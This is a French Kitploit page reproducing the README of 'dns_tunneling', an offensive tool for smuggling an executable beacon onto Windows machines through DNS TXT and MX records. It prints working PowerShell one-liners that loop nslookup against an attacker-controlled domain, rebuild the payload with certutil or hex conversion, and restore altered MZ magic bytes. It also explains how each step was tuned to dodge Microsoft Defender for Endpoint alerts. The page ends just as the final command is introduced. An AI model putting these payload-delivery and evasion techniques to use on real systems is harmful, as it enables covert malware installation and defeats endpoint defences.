Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DNS_Tunneling — Outil de tunneling DNS utilisant PowerShell et Nslookup pour exfiltrer des données et livrer des charges utiles via les enregistrements DNS TXT/MX, contournant Constrained Language Mode et les défenses des points de terminaison. | Kitploit
Outils/GitHubGitHub/octoberfest7/dns_tunneling
Génération de PayloadsExfiltration de DonnéesTests d'IntrusionCommandement et ContrôleRed TeamingAnalyse DNS
GitHuboctoberfest7/dns_tunneling

DNS_Tunneling

Outil de tunneling DNS utilisant PowerShell et Nslookup pour exfiltrer des données et livrer des charges utiles via les enregistrements DNS TXT/MX, contournant Constrained Language Mode et les défenses des points de terminaison.

Voir le dépôt
23237il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Intro

Inspiré par des travaux récents impliquant les beacons DNS de Cobalt Strike, combinés à une volonté de tenter de contourner Microsoft Defender for Endpoint, j'ai passé du temps à étudier comment le DNS pourrait être utilisé pour transférer une charge utile vers une machine cible. Je souhaitais également me mettre au défi en essayant de le faire d'une manière qui soit possible même lorsque PowerShell est en mode langage contraint. Cette recherche ciblait des implémentations plus récentes de Windows (c'est-à-dire Win10+, Server 2019+), mais comme vous le verrez plus tard, cela pourrait être possible sur des versions antérieures.

Contexte

Qu'est-ce que le tunneling DNS ?

Le tunneling DNS est une technique qui existe depuis longtemps et qui est utilisée par divers attaquants. À un niveau basique, il s'agit d'utiliser le protocole DNS comme moyen d'infiltration/exfiltration de données ou comme canal de communication C2. Il existe de nombreux articles de blog que vous pouvez consulter pour plus d'informations sur ce sujet.

Parce qu'il s'agit d'une technique ancienne et bien connue, de nombreuses organisations mettent en place des méthodes de détection pour tenter de l'empêcher.

Le type d'enregistrement DNS privilégié pour le tunneling DNS a historiquement été TXT. Cela est dû au fait que les enregistrements TXT peuvent contenir plus de données que les autres enregistrements et qu'ils sont également sensibles à la casse, ce que les autres enregistrements ne sont pas, ce qui peut avoir un impact lorsqu'on aborde l'encodage.

Qu'est-ce que le mode langage contraint ?

Le mode langage contraint (CLM) est un mode de langage restrictif pour PowerShell qui réduit considérablement les capacités et les fonctionnalités autorisées de PowerShell. Pour faire court, .NET, les objets COM et les favoris des attaquants comme (new-object net.webclient).downloadstring... sont indisponibles. Ce lien fournit plus d'informations. Les organisations imposent cette politique aux utilisateurs normaux dans le cadre des règles de réduction de la surface d'attaque. En pratique, cela rend simplement notre vie plus difficile en tant qu'attaquants.

À quoi ressemblent les enregistrements DNS ?

La plupart des gens devraient au moins avoir une connaissance superficielle du DNS grâce à l'utilisation d'outils comme Nslookup. Mais à un niveau basique, le client envoie une requête et le serveur DNS renvoie une réponse à cette requête. Il existe plusieurs types d'enregistrements DNS : CNAME, A, AAAA, TXT, MX et NS, pour n'en citer que quelques-uns. Chacun de ces enregistrements peut stocker et renvoyer des informations différentes. Ces enregistrements sont configurés dans un fichier de zone, qui est servi par un serveur DNS.

Un exemple de fichier de zone est montré ici :``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.

root@kitploit:~
Si l'on interrogeait les enregistrements NS d'exemple.com, la requête renverrait ns1.p30.dynect.net, ns2.p30.dynect.net, ns3.p30.dynect.net et ns4.p30.dynect.net.

# Recherche

## Enregistrement de nom de domaine

Avant de commencer, nous devons brièvement parler de la configuration des enregistrements DNS pour pointer vers une IP que nous contrôlons et sur laquelle nous exécuterons un serveur DNS. Comme illustré ci-dessous, j'ai acheté un domaine et configuré des enregistrements DNS qui pointent le sous-domaine "dns" vers le sous-domaine "ns1", auquel est attribuée l'IP publique du serveur.

![image](https://assets.kitploit.com/production/public/readmes/5529/bdffb5de5e760905bc821adefde45ca4dcba092639c16e201c7738aa0edda53f.png)

Cela signifie que toutes les requêtes effectuées pour "dns.edu....com" seront dirigées vers "ns1.edu....com" qui se voit attribuer l'IP 3..86. Sur cette IP, nous mettrons en place un serveur DNS pour servir nos enregistrements. Nous y reviendrons plus tard.

## Trouver un outil côté client

Ma quête a commencé par une simple recherche Google pour "powershell dns module" qui a renvoyé [ce lien](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps). La commande Resolve-DnsName présentait un intérêt particulier. Elle semble être essentiellement une implémentation PowerShell du célèbre binaire Nslookup.exe. Notez que des types d'enregistrements spécifiques peuvent être demandés :

![image](https://assets.kitploit.com/production/public/readmes/5529/c01a63bb351225d89be6f6f4b6636406f8c7891210b3e531f7dd71f2110fdea6.png)

Ok, nous disposons donc d'un module PowerShell capable d'effectuer des requêtes DNS et d'en récupérer la réponse. Fonctionne-t-il en mode langage contraint (CLM) ? La réponse est en quelque sorte oui.

Comme vous pouvez le voir ici, si j'ouvre une nouvelle fenêtre PowerShell, exécute Resolve-DnsName, mets PowerShell en CLM (et teste avec l'appel simple ::WriteLine), puis exécute à nouveau Resolve-DnsName, cela fonctionne sans problème :

![image](https://assets.kitploit.com/production/public/readmes/5529/195e1c1284b9826d9ef63482d2bffa9d1b9928c228f38bfab0d4c1be58327758.png)

Cependant, si j'ouvre une nouvelle fenêtre PowerShell, que je la mets immédiatement en CLM et que j'essaie ensuite d'exécuter Resolve-DnsName, cela échoue :

![image](https://assets.kitploit.com/production/public/readmes/5529/ab5eb81e47ee1cdced01753af4e141fa9d074b67f1f5b0317938ef9365444867.png)

Il semble que si un module a été chargé au préalable, il peut s'exécuter après l'application du CLM, mais le CLM empêchera son chargement s'il ne l'a pas déjà été. En pensant à un environnement cible où le CLM est appliqué par défaut pour les utilisateurs (et sans savoir si certains modules sont préchargés ou si DnsClient en fait partie), j'ai choisi à ce stade d'abandonner Resolve-DnsName et de revenir au bon vieux Nslookup.exe.

![image](https://assets.kitploit.com/production/public/readmes/5529/22e75abd325b04271ad418a00d9d84d53253901e93c3f2948dd827f8a121668f.png)

Nslookup.exe est un élément de base de la boîte à outils informatique et un binaire très connu utilisé à des fins légitimes. Il est fort probable qu'il soit autorisé à s'exécuter, même dans des environnements où la mise sur liste blanche des applications est une préoccupation.

Nslookup renverra à peu près les mêmes informations que notre requête Resolve-DnsName, il faudra simplement les manipuler un peu différemment au moment venu.

## Transformer un exécutable en enregistrements DNS ?

Bon, nous avons donc un moyen d'effectuer des requêtes DNS sur l'ordinateur victime. Comment pouvons-nous fournir notre charge utile dans un format que Nslookup peut récupérer ?

Les exécutables sont bien sûr des fichiers binaires, ce qui signifie qu'ils ne sont pas lisibles par un humain. Par conséquent, les données doivent être transformées en quelque chose que nous pouvons placer dans des enregistrements DNS et qu'un outil comme Nslookup peut récupérer. De nombreuses options d'encodage s'offrent à nous, mais la considération majeure est de savoir ce que la machine victime peut décoder en utilisant uniquement des outils Windows natifs et des capacités disponibles en CLM. Le Base64 est la réponse évidente et souvent utilisée.

En utilisant Base64, nous transformons notre exécutable en une chaîne géante lisible par un humain qui peut ensuite être divisée en de nombreux enregistrements DNS et récupérée via Nslookup. Côté client, le célèbre LOLBAS certutil.exe peut être utilisé pour décoder en Base64 les enregistrements DNS agrégés au format binaire.

Cela nécessite que nous parlions un peu plus des types d'enregistrements DNS. Chaque type d'enregistrement stocke certaines informations dans un format particulier. Les enregistrements A, par exemple, stockent et renvoient une adresse IPV4 (111.111.111.111). Les enregistrements AAAA renvoient une adresse IPV6, les enregistrements MX et NS renvoient des noms de domaine, et les enregistrements TXT peuvent renvoyer des chaînes de 255 caractères. Comme mentionné précédemment, en raison de la longueur de l'enregistrement et de la sensibilité à la casse, les enregistrements TXT ont été le choix évident pour les attaquants car ils en nécessitent moins et sont compatibles avec des encodages comme Base64.

Voyons à quoi cela ressemble.

Sur notre VM Kali, nous pouvons prendre notre exécutable et le convertir en Base64. Notez l'utilisation du commutateur -w 0 qui supprimera tous les sauts de ligne, nous laissant ainsi une seule ligne de texte Base64 :

![image](https://assets.kitploit.com/production/public/readmes/5529/2675c0b2f0cb7e0279b9bd39188922e2af8f97463433bd2ae37404ef97457e5e.png)

L'affichage du fichier montre le Base64 :

![image](https://assets.kitploit.com/production/public/readmes/5529/b6a9296128ea5ae6568e66bf1a8507985ceb7cce710d43f8d76281886e5f2839.png)

Nous devons maintenant transformer ce fichier encodé en Base64 en enregistrements DNS TXT qui seront servis par notre serveur DNS.

Voici quelques éléments que j'ai appris au cours de ce processus et que je vais rapidement résumer avant de continuer :

**1.** Lorsque plusieurs enregistrements sont renvoyés pour une seule requête DNS, il n'y a aucune garantie qu'ils soient renvoyés "dans l'ordre". Ceci est crucial pour nos besoins, car nous devons réassembler un fichier à partir de tous les enregistrements TXT et s'ils sont dans le désordre, cela ne fonctionnera pas.

**2.** Les enregistrements en double ne sont pas renvoyés pour une requête. Par exemple, si dans notre fichier de zone nous avons 3 enregistrements TXT et que 2 d'entre eux contiennent les mêmes informations, lorsque nous interrogeons les enregistrements TXT pour ce domaine, seuls 2 enregistrements seront renvoyés car seuls les enregistrements uniques sont renvoyés. Sans tenir compte du problème de non-respect de l'ordre, si nous avions par exemple de grandes sections de "AAAAA" (comme nous en avons dans la charge utile encodée en Base64) que nous devions remplir dans plusieurs enregistrements TXT, lorsque nous interrogeons notre domaine pour les enregistrements TXT, un seul des enregistrements TXT remplis de "A" sera renvoyé, même s'il y en a plusieurs dans le fichier de zone.

Avec ces points à l'esprit, nous devons nous assurer qu'un seul enregistrement TXT est renvoyé pour chaque requête DNS. Entrent en jeu les sous-domaines. Tout comme nous avons enregistré "dns.edu...com" comme sous-domaine de "edu....com", nous pouvons fournir des enregistrements pour d'autres sous-domaines (par exemple, 1.dns.edu....com). Nous pouvons créer autant de sous-domaines que nécessaire pour servir tous nos enregistrements TXT.

Regardons notre charge utile encodée en Base64 :

![image](https://assets.kitploit.com/production/public/readmes/5529/2afd7d53fc05fd78c30edc71db8379c76d0130f6eef0d08329499bfdeef0a554.png)

Comme mentionné précédemment, nous pouvons mettre 255 caractères dans chaque enregistrement TXT. En divisant 413 696/255, on obtient 1 623 après arrondi supérieur. Cela fait beaucoup d'enregistrements TXT (et par conséquent beaucoup de sous-domaines). C'est cependant un point de départ.

J'ai écrit un script Python3 pour ingérer la charge utile encodée en Base64 et créer un fichier de zone :

![image](https://assets.kitploit.com/production/public/readmes/5529/38318c957ce0ad15e93350cb57eb4ac53e1a1822226e9dd7ea63332e46e22429.png)

Ce script ouvrira notre charge utile encodée en Base64 (comp.txt) et utilisera la fonction "chunkstring" (provenant d'un post Stack Overflow) pour diviser le fichier en morceaux de 255 caractères, avec lesquels nous créerons ensuite des enregistrements TXT. Notez que les IP ici sont factices/aléatoires et inutiles.

En regardant le fichier de zone produit, nous voyons nos enregistrements TXT :

![image](https://assets.kitploit.com/production/public/readmes/5529/c0ff320fcd010bac47d7a9736d4bc0488591d15f89217943903ef6106d95991a.png)

Notez le numéro à l'extrémité gauche de chaque enregistrement TXT ; il désigne le sous-domaine.

Maintenant que notre fichier de zone est créé, nous devons le copier sur notre serveur DNS, puis le servir. J'ai utilisé [CoreDNS](https://github.com/coredns/coredns) pour cela :

![image](https://assets.kitploit.com/production/public/readmes/5529/dd79c82b16d6fcf072532d04364788d9320a29f7734d15e3ca8aa4e331d15ca6.png)

Ceci montre que j'accepte les requêtes pour dns.edu....com sur le port 53. Dans le Corefile, j'ai spécifié le fichier de zone créé à l'étape précédente pour servir les enregistrements. Pour tester que nos enregistrements fonctionnent, nous exécuterons nslookup pour les enregistrements TXT appartenant à 1.dns.edu....com :

![image](https://assets.kitploit.com/production/public/readmes/5529/cad5b0ad8bfd105ab86b792377d8ce95abb3142d78045f1067e2ca8e59703348.png)

Voilà notre enregistrement TXT !

## Attaque !

Nous devons maintenant exécuter nslookup… 1 623 fois. Moins qu'idéal, mais c'est ce que nous ferons pour l'instant. Nous utiliserons cette one-liner PowerShell pour exécuter nslookup pour chaque sous-domaine, puis sélectionner uniquement l'enregistrement TXT ($temp[5]) et construire $results au fur et à mesure. $results est ensuite écrit dans ./temp.txt, et enfin certutil est utilisé pour décoder temp.txt en custombeacon.exe.```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe

En exécutant notre commande, nous voyons toutes les requêtes DNS sur notre serveur CoreDNS :

image

Et sur notre client, nous voyons que la commande Certutil a réussi :

image

Notre taille de sortie correspond à celle de notre EXE d'origine (et il s'exécute) – excellent !

image

Cependant, nous avons un problème. Regardons le tableau de bord MDE de notre machine de laboratoire d'évaluation :

image

Retour à la planche à dessin

Il y a 5 alertes ici que nous devons traiter (ignorez les deux premières « Utilisation suspecte de certutil.exe pour décoder un exécutable » car ce sont des doublons provenant de l'exécution de cette même chaîne d'attaque deux fois pendant les tests).

1. Découverte suspecte de la configuration réseau du système – Cela concerne l'utilisation de l'applet de commande 'Resolve-DnsName' (ce test a été effectué avant le passage à Nslookup pour des raisons distinctes)

image

2. Outil ou activité d'attaque DNS – Cela concerne l'utilisation d'enregistrements TXT pour infiltrer nos données

image

3. / 4. / 5. - Utilisation suspecte de certutil.exe pour décoder un exécutable / Utilisation d'un binaire living-off-the-land pour exécuter du code malveillant

image

1. Découverte suspecte de la configuration réseau du système

Nous allons ignorer celle-ci car nous allons passer à Nslookup. Nous verrons si cela continue d'être un problème. Je ne sais pas, mais j'ai le soupçon que ce type d'alerte pourrait être ignoré par de nombreuses organisations en raison de sa faible priorité et de son apparente facilité à être déclenché.

2. Outil ou activité d'attaque DNS

Cette alerte concerne à nouveau l'utilisation d'enregistrements TXT pour faire passer notre charge utile en contrebande ; ce n'est pas très surprenant, car les enregistrements TXT sont depuis longtemps les favoris pour ce type d'activité, pour de bonnes raisons. La solution semblerait être d'essayer d'utiliser un type d'enregistrement alternatif, ce que nous explorerons en conjonction avec ce qui suit dans la prochaine alerte.

3. / 4. / 5. Utilisation suspecte de certutil.exe pour décoder un exécutable / Utilisation d'un binaire living-off-the-land pour exécuter du code malveillant

Il n'est pas non plus très surprenant que certutil ait été signalé pour avoir décodé notre charge utile ; c'est une vieille astuce que toute organisation respectable devrait détecter. Cependant, l'alerte est intéressante de par sa spécificité ; elle souligne qu'il a été utilisé pour décoder un exécutable. Cela m'a amené à me demander ce qui se passerait si je jouais avec les octets magiques de notre charge utile avant de l'encoder en Base64, puis de nouveau côté client après avoir utilisé certutil pour la décoder. Je ne le montrerai pas ici, mais cela a effectivement contourné cette alerte et j'ai pu utiliser certutil pour décoder une charge utile Base64, puis remettre les octets magiques en MZ pour que la charge utile soit exécutable, le tout en utilisant les fonctionnalités natives de PowerShell.

Hors des sentiers battus

J'ai décidé d'essayer d'utiliser des enregistrements MX au lieu d'enregistrements TXT pour faire passer la charge utile en contrebande. Ce billet de blog note que la longueur maximale d'un nom DNS valide est de 255 caractères``` (63 letters).(63 letters).(63 letters).(62 letters)

root@kitploit:~
Depuis que les enregistrements MX renvoient un nom de domaine, je devrais pouvoir entasser pas mal de données dans chaque octet.  Après quelques tests, j'ai décidé de raccourcir un peu chaque enregistrement et de ne mettre que 50 caractères par octet, pour un total de 200 par enregistrement MX.

Il y a cependant un problème.  En ce qui concerne les enregistrements DNS, seuls les enregistrements TXT et SPF (un type d'enregistrement TXT) sont sensibles à la casse.  Notre langage de codage, Base64, est sensible à la casse.  J'ai passé quelques heures à dépanner cela jusqu'à ce que je comprenne, mais en résumé, si nous utilisons Base64, nous ne pouvons pas utiliser les enregistrements MX car notre Nslookup renverra toujours les enregistrements en minuscules, ce qui casse notre codage.  

Nous sommes obligés soit de trouver un autre type d'enregistrement sensible à la casse et compatible avec Base64, soit de trouver un langage de codage différent que Windows/PowerShell en CLM est capable de décoder nativement.  

Après quelques [recherches](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin), j'ai découvert que PowerShell est capable de convertir l'hexadécimal en binaire sans utiliser .NET :```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw

# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)

Avec une légère modification de ce qui précède (en remplaçant [System.IO.File]... par $bytes | set-content....), cela devrait fonctionner pour nos besoins.

Les enregistrements MX ont également une valeur de « préférence » ; il s'agit essentiellement d'un ordre de priorité pour déterminer quel serveur MX doit être utilisé pour un domaine. Cela peut être vu dans l'exemple précédent d'un fichier de zone avec les valeurs « 10, 20 et 30 » précédant les noms de domaine pour les enregistrements MX. Nous pouvons utiliser cette valeur de préférence à notre avantage en incluant plusieurs enregistrements MX par sous-domaine et en nous assurant que nos données sont dans le bon ordre en triant par valeur de préférence. Cela nous permettra de réduire considérablement le nombre d'appels à Nslookup par rapport à lorsque nous récupérions un seul enregistrement par sous-domaine avec les enregistrements TXT.

image

Comme montré ci-dessus, les enregistrements peuvent être renvoyés dans le désordre, mais avec la valeur de préférence, nous pouvons les réordonner.

Pour implémenter tout cela, j'ai d'abord écrit un petit script Python3 pour convertir notre charge utile en hexadécimal :

image

image

J'ai ensuite modifié le script Python3 original pour créer un fichier de zone avec des enregistrements MX au lieu d'enregistrements TXT :

image

Les principales différences sont que nous découpons maintenant 200 caractères à la fois et que nous allouons 100 enregistrements MX par sous-domaine ; cela est suivi par la variable j, où j dans l'enregistrement MX est la valeur de préférence. Elle commence à 10 pour le premier enregistrement et augmente de 10 jusqu'à 1000. Lorsque j atteint 1010, elle se réinitialise à 10 et i est incrémenté de un, où la variable i est le sous-domaine spécifié dans chaque enregistrement MX.

Ce script produit un fichier de zone comme suit (fin du fichier de zone montrée) :

image

Ici sont montrés deux sous-domaines (31.dns.edu....com et 32.dns.edu....com) et plusieurs enregistrements pour chacun. Les enregistrements peuvent être différenciés par la valeur de préférence suivant chaque MX (31.dns.edu....com : 960, 970, 980, 990, 1000 ; 32.dns.edu....com : 10, 20, 30)

Nous devrons modifier assez lourdement notre commande PowerShell pour prendre en compte ce nouveau format. J'ai montré le script dans PowerShell ISE avec des commentaires pour mieux expliquer ce qui se passe à chaque étape, mais en effet nous allons :

-1. Pour chaque sous-domaine

--A Exécuter Nslookup

--B Pour chaque enregistrement MX retourné par Nslookup

---a. Extraire uniquement nos données et les stocker dans un tableau dans l'ordre (trié par la valeur de préférence MX)

--C Ajouter chaque chaîne de données à notre chaîne cumulative $results

image

Nous devons ensuite prendre $results et reconvertir l'hexadécimal en binaire avant de l'écrire sur le disque. C'est là que nous utiliserons le PowerShell montré précédemment.

Compressé en une seule ligne, nous obtenons ce qui suit :```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe

root@kitploit:~
## Deuxième essai

Lançons notre commande PowerShell sur une machine de test MDE en laboratoire et voyons ce qui se passe (nous sommes en CLM, mais cela n'est pas affiché) :

![image](https://assets.kitploit.com/production/public/readmes/5529/5c6c02f45ade0f86708c0266ab8697ae39cf4a2a451b80044bc320f79d4add1b.png)

Exécution de notre beacon (davantage de magie s'est produite en arrière-plan pour utiliser les beacons DNS)

![image](https://assets.kitploit.com/production/public/readmes/5529/a72f193c75d9827d742100e0d35ebf19328b04d19ea1220204aabfbf5d976d8d.png)

Nous recevons bien une alerte pour le comportement "SuspiciousFileDrop", mais elle se résout par "Aucune menace trouvée"... à explorer davantage. Mais toutes les alertes liées aux enregistrements TXT ou à Certutil pour décoder un exécutable ont disparu.

![image](https://assets.kitploit.com/production/public/readmes/5529/3b8d333e03f641c57b3daaa1955c54597cd0826ad64f8f588ab4b2460b38510d.png)

## Juste un pas de côté...

MDE n'a pas apprécié que PowerShell écrive notre charge utile sur le disque. C'est compréhensible ; en résumé, Nslookup a téléchargé un exécutable inconnu depuis Internet et l'a enregistré sur le disque. Comment pouvons-nous atténuer cela ?

J'ai décidé de revisiter les octets magiques de la charge utile. Mon hypothèse de travail était que si je modifiais les octets magiques de la charge utile pour les remplacer par ceux, par exemple, d'un fichier .txt et que je l'écrivais sur le disque, puis que je lisais ce fichier dans une nouvelle variable et que je redonnais aux octets magiques leur valeur MZ (exécutable) avant de le réécrire sur le disque, je pourrais tromper MDE car l'opération d'E/S menant au dépôt final de l'exécutable fonctionnel sur le disque proviendrait désormais d'un fichier .txt déjà présent sur le disque, plutôt que de données téléchargées depuis Internet.

Essayons.

Nous pouvons utiliser VIM sur notre machine d'attaque pour ouvrir notre exécutable. Notons l'en-tête MZ dans les deux premiers octets, qui déclare qu'il s'agit d'un exécutable :

![image](https://assets.kitploit.com/production/public/readmes/5529/d653911c1bbdd30be5f4fb00983067b708173367aa41ceee6a80efd7f85d9164.png)

En tapant `:%!xxd`, nous pouvons éditer le fichier en format hexadécimal :

![image](https://assets.kitploit.com/production/public/readmes/5529/827b8179f80a7701ea7093e41343278d842c15bfdcee91395dab33d0f5356375.png)

et remplacer les deux premiers octets par FF FE (marque d'ordre des octets UTF-16LE, couramment observée dans les fichiers texte, cf. https://en.wikipedia.org/wiki/List_of_file_signatures) :

![image](https://assets.kitploit.com/production/public/readmes/5529/93f32e87c51d2f1f9cda2bc6d0f38e7d46e0da06359d904a7172b94573c97fed.png)

Nous devons maintenant fermer l'éditeur hexadécimal en tapant `:%!xxd -r`, ce qui montrera que nos octets magiques ont bien été remplacés :

![image](https://assets.kitploit.com/production/public/readmes/5529/6ccbc576cc43630b7f0dd6c39d4af7b7b281fdd2f9d140e987fb727df25eecef.png)

Nous pouvons alors enregistrer et quitter VIM.

Nous allons à nouveau convertir notre charge utile en hexadécimal, puis utiliser le script python3 pour placer la charge utile modifiée dans des enregistrements MX qui pourront être servis sur notre serveur DNS.

Côté client, nous devrons modifier notre commande PowerShell afin de corriger les octets magiques et rendre notre exécutable à nouveau fonctionnel. Comme mentionné, pour tenter d'éviter l'alerte SuspiciousFileDrop de MDE, nous allons d'abord écrire notre fichier "txt" sur le disque, puis le relire en mémoire à l'aide de Get-Content. La modification et l'ajout pertinents à notre commande PowerShell sont :```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte

Dans cette commande, nous écrivons d'abord notre charge utile téléchargée (avec les octets magiques .txt) sur le disque en tant que out.txt, puis nous la lisons dans un tableau d'octets $readfile après quoi les premier et deuxième octets sont définis sur 0x4D et 0x5A respectivement, restaurant ainsi l'en-tête MZ de notre charge utile. $readfile est ensuite redirigé vers set-content pour écrire notre charge utile fonctionnelle sur le disque en tant que new.exe.

Essayons cela dans notre VM MDE (notez que la commande semble un peu différente, cela sera abordé dans la section suivante) :

image

Et sur le tableau de bord ?

image

Succès !

Alors, que voit réellement MDE ?

Nous avons réussi à télécharger et restaurer notre charge utile dans un format fonctionnel via des requêtes DNS et des commandes PowerShell disponibles en mode langage contraint. MDE n'a émis aucune alerte, mais que voit-il réellement ? La réponse : tout.

Regardons la chronologie des événements de notre machine de test, en filtrant les événements impliquant PowerShell :

image

Dans cette image, nous voyons quelques appels nslookup.exe effectués par PowerShell, chacun ayant généré un événement "T1016 : System Network Configuration Discovery". De plus, nous voyons "powershell.exe has dropped a packed file new.exe" qui fait référence à notre exécutable désormais fonctionnel écrit à nouveau sur le disque après la modification des octets magiques. Cela déclenche quelques ID d'événements, dont "T1027.002 : Software Packing" comme plus notable.

En filtrant ces événements, nous pourrions voir à quel point chacun est courant ou rare et quelle est la probabilité que nos actions se fondent dans le bruit des actions normales sur l'ordinateur.

En regardant T1016 :

image

Nous voyons tous nos nslookup, mais aussi d'autres événements générés par des processus comme WaAppAgent.exe et WindowsAzureGuestAgent.exe. Ceux-ci ont à leur tour exécuté des commandes comme ipconfig.exe et arp.exe. Ainsi, plusieurs exécutables différents peuvent déclencher T1016 : System Network Configuration Discovery, ce qui est bon pour nous qui tentons de passer inaperçus.

En regardant T1027 :

image

Les nouvelles sont moins bonnes ici. Le seul événement pour T1027.002 : File Packing est notre powershell.exe qui dépose notre charge utile sur le disque. Je ne suis pas tout à fait sûr pourquoi cet événement se déclenche pour notre action, mais je ne suis pas convaincu qu'il ait quoi que ce soit à voir avec la méthode d'infiltration DNS, mais plutôt avec l'écriture d'un exécutable sur le disque. Quoi qu'il en soit, cela n'a pas généré d'alerte réelle, c'est juste un événement journalisé.

Combien d'événements sont journalisés et dans quelle mesure la fonctionnalité normale de l'ordinateur est-elle bien catégorisée ? Les réponses sont "beaucoup" et "pas très bien". En faisant défiler pour trouver les événements PowerShell, je suis tombé sur ceci :

image

Cela semble certainement suspect... que se passe-t-il ?

image

Oh. C'est juste Windows Defender ATP qui exécute des commandes PowerShell.

Le nombre d'événements journalisés par MDE est stupéfiant. Tant que nous ne déclenchons pas une alerte réelle, je ne suis pas trop inquiet que nos actions journalisées soient découvertes lors d'effets actifs, sauf si nous donnons aux défenseurs des raisons de chercher.

Mettons la dernière touche

Nous avons une POC fonctionnelle, mais il est maintenant temps de peaufiner le produit. J'avais trois objectifs majeurs ici :

  1. Automatisation

  2. Fiabilité

  3. Efficacité

Automatisation

J'ai commencé par combiner les scripts Python qui convertissaient notre exécutable en hexadécimal, puis créaient un fichier de zone. Ensuite, j'ai supprimé toutes les références statiques aux noms de domaine qui peupleront le fichier de zone ; celles-ci sont maintenant passées via les arguments de ligne de commande. Troisièmement, j'ai ajouté une fonctionnalité pour faire une copie de notre charge utile puis modifier les octets magiques ; cette copie modifiée est ce qui est transformé en enregistrements MX dans notre fichier de zone, éliminant le besoin de VIM. Enfin, le script Python imprime la commande PowerShell d'une ligne avec le nombre correct d'itérations pour exécuter nslookup (dépendant de la taille de la charge utile) et le domaine contre lequel exécuter nslookup. Ce script Python a été téléchargé sous le nom "createzonefile.py".

image

Fiabilité

Afin d'augmenter la fiabilité de l'attaque, j'ai passé du temps à travailler sur la façon dont le script Python crée les enregistrements MX. Le principal problème était le dernier enregistrement MX ; celui-ci contient le reste de la charge utile, car chaque autre enregistrement est rempli de 200 caractères. Selon la quantité de données restantes pour cet enregistrement, nous pourrions nous retrouver avec un, deux, trois ou quatre octets partiellement ou complètement remplis. J'ai constaté que nslookup ne récupérerait pas les enregistrements s'il y avait trop de "." à la fin, comme c'était le cas avec notre script Python simple plus tôt si moins de quatre octets étaient utilisés par le dernier enregistrement MX (par exemple, l'enregistrement pourrait être "0000000000000000000000.000000.."). Une nouvelle logique a été implémentée et testée pour garantir que, quelle que soit la taille de la charge utile ou la quantité de données dans le dernier enregistrement MX, il soit formaté correctement et fonctionne comme prévu.

L'implémentation de la commande PowerShell d'une ligne dans le script Python est un autre pas vers la fiabilité, car elle garantit que vous obtenez le nombre correct d'itérations de nslookup ainsi que le même nom de domaine spécifié dans le fichier de zone.

Efficacité

Ce dernier point tourne principalement autour de la commande PowerShell d'une ligne. Je voulais essayer de réduire la longueur de la commande autant que possible au cas où quelqu'un aurait besoin de la taper manuellement sur une machine cible. Avant de prendre en compte le script ajouté pour remplacer les octets magiques, j'ai pu la réduire d'environ 30 %.

Ces économies proviennent de quelques endroits :

  1. Raccourcir les variables. $results devient $o. $num devient $a.
  2. Alias. Select-substring devient sls. Set-content devient sc.
  3. Utiliser des paramètres raccourcis quand possible. Le paramètre -Allmatches de select-substring peut être abrégé en -a car il n'y a pas d'autres paramètres commençant par a.
  4. Améliorer les expressions régulières, la logique de boucle et l'initialisation de tableau. Chaque caractère compte !

image

Je suis sûr qu'il y a plus à faire, mais je suis loin d'être compétent en PowerShell.

La commande PowerShell d'une ligne finale et améliorée qui restaure les octets magiques MZ et supprime le fichier .txt temporaire est :

root@kitploit:~
